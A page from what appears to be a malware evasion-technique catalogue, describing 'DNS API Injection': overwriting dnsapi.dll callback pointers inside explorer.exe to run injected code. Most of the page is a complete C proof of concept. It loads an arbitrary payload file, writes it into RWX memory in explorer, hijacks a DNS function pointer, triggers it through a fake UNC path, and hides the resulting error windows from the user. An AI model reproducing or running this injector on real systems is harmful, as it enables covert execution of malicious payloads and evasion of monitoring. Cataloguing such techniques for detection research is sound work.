DNS API Injection

Created the Monday 26 October 2020. Updated 1 year, 11 months ago.

Overwriting DNS memory functions to facilitate process injection. Sysmon v10 supports logging DNS queries. This feature that intercepts all the DNS requests on a monitored host, and if possible, maps them to the process name making that request. It is a nice addition to Sysmon’s already awesome logging capabilities.

If we can locate the address of dnsapi.dll in a remote process, find the address of exported DnsApiHeapReset function, then with a basic parsing of its code we can discover the address of each callback. Then, with a single, surgical WriteProcessMemory call we can modify any of them.


Technique Identifier

U1202

Technique Tags

dns injection


Code Snippets

Glacius

Description

Tested on Windows 10 64-bit.

#include "../ntlib/util.h"

HRESULT GetDesktopShellView(REFIID riid, void **ppv) {
    HWND           hwnd;
    IDispatch      *pdisp;
    IShellWindows  *psw;
    VARIANT        vEmpty = {};
    IShellBrowser  *psb;
    IShellView     *psv;
    HRESULT        hr;
    
    *ppv = NULL;
        
    hr = CoCreateInstance(CLSID_ShellWindows, 
      NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));
      
    if(hr == S_OK) {
      hr = psw->FindWindowSW(
        &vEmpty, &vEmpty, 
        SWC_DESKTOP, (long*)&hwnd, 
        SWFO_NEEDDISPATCH, &pdisp);
        
      if(hr == S_OK) {
        hr = IUnknown_QueryService(
          pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));
        if(hr == S_OK) {
          hr = psb->QueryActiveShellView(&psv);
          if(hr == S_OK) {
            hr = psv->QueryInterface(riid, ppv);
            psv->Release();
          }
          psb->Release();
        }
        pdisp->Release();
      }
      psw->Release();
    }
    return hr;
}

HRESULT GetShellDispatch(
  IShellView *psv, REFIID riid, void **ppv) 
{
    IShellFolderViewDual *psfvd;
    IDispatch            *pdispBackground, *pdisp;;
    HRESULT              hr;
    
    *ppv = NULL;
    hr = psv->GetItemObject(
      SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));
    
    if(hr == S_OK) {
      hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));
      if(hr == S_OK) {
        hr = psfvd->get_Application(&pdisp);
        if(hr == S_OK) {
          hr = pdisp->QueryInterface(riid, ppv);
          pdisp->Release();
        }
        psfvd->Release();
      }
      pdispBackground->Release();
    }
    return hr;
}

HRESULT ShellExecInExplorer(PCWSTR pszFile) {
    IShellView      *psv;
    IShellDispatch2 *psd;
    HRESULT         hr;
    BSTR            bstrFile;
    VARIANT         vtHide, vtEmpty = {};
    
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    
    bstrFile = SysAllocString(pszFile);
    if(bstrFile == NULL) return E_OUTOFMEMORY;
    
    hr = GetDesktopShellView(IID_PPV_ARGS(&psv));
    if(hr == S_OK) {
      hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));
      if(hr == S_OK) {
        V_VT(&vtHide)  = VT_INT;
        V_INT(&vtHide) = SW_HIDE;
        hr = psd->ShellExecuteW(
          bstrFile, vtEmpty, vtEmpty, vtEmpty, vtEmpty);
        psd->Release();
      }
      psv->Release();
    }
    SysFreeString(bstrFile);
    return hr;
}

LPVOID GetDnsApiAddr(DWORD pid) {
    LPVOID                m, rm, va = NULL;
    PIMAGE_DOS_HEADER     dos;
    PIMAGE_NT_HEADERS     nt;
    PIMAGE_SECTION_HEADER sh;
    DWORD                 i, cnt, rva=0;
    PULONG_PTR            ds;
    
    // does remote have dnsapi loaded?
    rm  = GetRemoteModuleHandle(pid, L"dnsapi.dll");
    if(rm == NULL) return NULL;
    
    // load local copy
    m   = LoadLibrary(L"dnsapi.dll");
    dos = (PIMAGE_DOS_HEADER)m;  
    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
          nt->FileHeader.SizeOfOptionalHeader);
          
    // locate the .data segment, save VA and number of pointers
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
        break;
      }
    }
    // for each pointer
    for(i=0; i<cnt - 1; i++) {
      // if two pointers side by side are not to code, skip it
      if(!IsCodePtr((LPVOID)ds[i  ])) continue;
      if(!IsCodePtr((LPVOID)ds[i+1])) continue;
      // calculate VA in remote process
      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;
      break;
    }
    return va;
}

// for any "Network Error", close the window
VOID SuppressErrors(LPVOID lpParameter) {
    HWND hw;
    
    for(;;) {
      hw = FindWindowEx(NULL, NULL, NULL, L"Network Error");
      if(hw != NULL) {
        PostMessage(hw, WM_CLOSE, 0, 0);
      }
    }
}

VOID dns_inject(LPVOID payload, DWORD payloadSize) {
    LPVOID dns, cs, ptr;
    DWORD  pid, cnt, tick, i, t;
    HANDLE hp, ht;
    SIZE_T wr;
    HWND   hw;
    WCHAR  unc[32]={L'\\', L'\\'}; // UNC path to invoke DNS api

    // 1. obtain process id for explorer
    //    and try read address of function pointers
    GetWindowThreadProcessId(GetShellWindow(), &pid); 
    ptr = GetDnsApiAddr(pid);
    
    // 2. create a thread to suppress network errors displayed
    ht = CreateThread(NULL, 0, 
      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);
      
    // 3. if dns api not already loaded, try force 
    // explorer to load via fake UNC path
    if(ptr == NULL) {
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + 'a';
        tick >>= 2;
      }
      ShellExecInExplorer(unc);
      ptr = GetDnsApiAddr(pid);
    }
    
    if(ptr != NULL) {
      // 4. open explorer, backup address of dns function.
      //    allocate RWX memory and write payload
      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      cs = VirtualAllocEx(hp, NULL, payloadSize, 
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
      
      // 5. overwrite pointer to dns function
      //    generate fake UNC path and trigger execution
      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + L'a';
        tick >>= 2;
      }
      ShellExecInExplorer(unc);
      
      // 6. restore dns function, release memory and close process
      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
      CloseHandle(hp);
    }
    // 7. terminate thread
    TerminateThread(ht, 0);
}

int main(void) {
    LPVOID  pic;
    DWORD   len;
    int     argc;
    wchar_t **argv;
    
    argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    
    if(argc != 2) {
      printf("\nusage: dnsinject <payload.bin>\n");
      return 0;
    }

    len=readpic(argv[1], &pic);
    if (len==0) { printf("\ninvalid payload\n"); return 0;}
    
    dns_inject(pic, len);
    
    return 0;
}

Additional Resources

External Links

Subscribe to our Newsletter


The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be : contact@unprotect.it.

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at contact@unprotect.it.

You may also oppose, for legitimate reasons, the processing of your personal data.